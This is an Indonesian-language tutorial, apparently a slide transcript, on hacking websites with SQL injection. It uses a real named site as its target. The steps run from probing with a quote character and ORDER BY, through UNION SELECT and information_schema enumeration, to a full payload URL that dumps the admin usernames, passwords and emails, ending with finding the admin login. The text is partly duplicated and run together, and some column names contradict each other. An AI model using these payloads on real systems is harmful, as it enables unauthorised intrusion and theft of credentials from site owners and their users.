Sql injection

6
Langkah – langkah hack website menggunakan teknik sql injection 1. Untuk mengetahui apakah situs tersebut terkena celah sql injection atau tidak, yaitu dengan membuat sebuah eror dengan menambahkan karakter (‘) tanpa pada kurung setelah / sesudah url. http://www.awardz.org/newsone.php?id=28 http://www.awardz.org/newsone.php?id=28’ apabila terlihat pesan eror seperti ini : “You have an error in your SQL syntax.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1”, maka bisa dipastikan bahwa situs tersebut terdapat bug sql injection. 2. Sekarang kita cari tahu jumlah table di databasenya dengan perintah “order by” tanpa tanda kutip. http://www.awardz.org/newsone.php?id=28 order by 1- - no error http://www.awardz.org/newsone.php?id=28 order by 2- - no error http://www.awardz.org/newsone.php?id=28 order by 3- - no error http://www.awardz.org/newsone.php?id=28 order by 4- - no error http://www.awardz.org/newsone.php?id=28 order by 5- - no error http://www.awardz.org/newsone.php?id=28 order by 6- - error

Transcript of Sql injection

Langkah – langkah hack website menggunakan teknik sql injection

1. Untuk mengetahui apakah situs tersebut terkena celah sqlinjection atau tidak, yaitu dengan membuat sebuah eror denganmenambahkan karakter (‘) tanpa pada kurung setelah / sesudahurl.http://www.awardz.org/newsone.php?id=28’http://www.awardz.org/newsone.php?id=28’apabila terlihat pesan eror seperti ini :“You have an error in your SQL syntax.You have an error inyour SQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near ”’ atline 1”, maka bisa dipastikan bahwa situs tersebut terdapatbug sql injection.

2. Sekarang kita cari tahu jumlah table di databasenya denganperintah “order by” tanpa tanda kutip.http://www.awardz.org/newsone.php?id=28 order by 1- - no errorhttp://www.awardz.org/newsone.php?id=28 order by 2- - no errorhttp://www.awardz.org/newsone.php?id=28 order by 3- - no errorhttp://www.awardz.org/newsone.php?id=28 order by 4- - no errorhttp://www.awardz.org/newsone.php?id=28 order by 5- - no errorhttp://www.awardz.org/newsone.php?id=28 order by 6- - error

Berarti jumlah kolom pada databasenya ada 6 kolom. Langkahselanjutnya yaitu mengetahui dimana angka – angka yang bisadibuat injection / tempat kita memasukkan perintah – perintahselanjutnya.

3. Cara untuk mengetahui angka-angka tersebut ialah denganmengganti perintah “ order by “ dengan “ union select “disertai berapa jumlah kolom yang kita temukan tadi dan tandadi depan angka.

Di gambar tersebut kita lihat muncul angka 2 dan 4 nah itulahyang kita maksud dengan angka yang kita buat memasukanperintah-perintah selanjutnya.

4. Sekarang tahap selanjutnya ialah mengetahui versi databasenya.Caranya ialah dengan memasukan perintah “ @@version “atau “version() ” ke dalam salah satu angka yang muncul tadi.

Nah, di gambar kita bisa lihat muncul 5.5.33 itu berartidatabase web tersebut versi 5 berarti kita beruntung karenajika kita menemukan versi 4. Maka kita akan kerepotan karenajenis perintah SQL nya berbeda yaitu dengan menebak 1 per 1tabel yang ada di dalam database tersebut.

5. Sekarang kita melangkah ke tahap selanjutnya yaitu memunculkannama-nama table yang ada di dalam web tersebut denganmengganti perintah “ @@version ” dengan“group_concat(table_name) ” dan menambahkan perintah “ frominformation_schema.tables where table_schema=database() ”sesudah angka terakhir , sebelum tanda –

Dari gambar tersebut terlihat ada table “ admin ” jika kitamenemukan web lain dan di dalamnya tidak ada table admin makabiasanya user, pass, dan admin terletak pada kolomadministrator atau user. Tinggal pandai-pandainya kitamencermati setiap tabel yang kita curigai sebagai tempat userpass admin.

6. Tahap selanjutnya yaitu mengetahui kolom yang ada pada tableadmin tersebut. Degan cara mengganti perintah “ table_name ”yang ada berada dalam perintah “group_concat(table_name) ”dengan perintah “ column_name ” menjadi“group_concat(column_name) ” dan mengganti perintah “ .tables” yang berada di perintah “information_schema.tables “ denganperintah “ .columns ” menjadi “information_schema.columns ”juga mengganti perintah “ table_schema=database() ” denganperintah “ table_name= ”.Dan di ikuti hasil convert MySQL CHAR(), nah disini keuntungandari kita memakai HACKBAR yaitu kita tidak perlu mencariconverter MySQL CHAR() ke web-web lain karena hackbar sudahmenyediakanya letaknya: klik tombol SQL –> MySQL –> MySQLCHAR() –

Setelah itu akan muncul JavaScript Aplication sebagai berikut:Kita copas ( copy paste ) nama kolom yang berada dalam tableyang kita curigai sebagai tempat tersimpanya user pass admin.Contoh tadi kita menemukan table admin jadi kita copas ( copypaste ) admin kedalam javaScript Aplication tersebut setelahitu klik ok .

Sehingga perintah kita menjadi :http://awardz.org/newsone.php?id=-28 union select1,group_concat(column_name),3,4,5 frominformation_schema.columns where table_name=CHAR(97, 119, 95,97, 100, 109, 105, 110)—Setelah itu tekan Execute, dan hasilnya

Nahh muncul kolom admin_id,admin_user,admin_pwd. 7. Sekarang langkah selanjutnya ialah membuka data2 yang ada

dalam kolom-kolom yang muncul tersebut. Caranya ialahmengganti perintah “ column_name “ yang berada di perintah“group_concat(table_name) ” dengan nama-nama kolom yang kitatemukan tadi yaitu “adminId,adminName,adminPass ” sehinggamenjadi “group_concat(adminId,adminName,adminPass) ” dan

mengganti perintah “ from information_schema.columns wheretable_name=CHAR(97, 100, 109, 105, 110)—“ dengan perintah“from admin—“ perintah admin ini saya dapat dari nama tableyang kita temukan tadi, jangan lupa menambahkan perintah 0x3apada sela-sela nama kolom tadi 0x3aadalah hasil hexa daritanda : Sehingga jika digabung perintah nya menjadihttp://awardz.org/newsone.php?id=-28 union select 1,group_concat(admin_id,0x3a,admin_user,0x3a,admin_pwd,0x3a,admin_email),3,4,5 from aw_admin—tekan execute dan hasilnya

Setelah itu kita tinggal nyari admin loginnya. ebenarnyabanyak variasi sql injection yang laen, semunya tergantungsobat masing-masing mau pakai cara mana yang paling nyamanbuat sobat.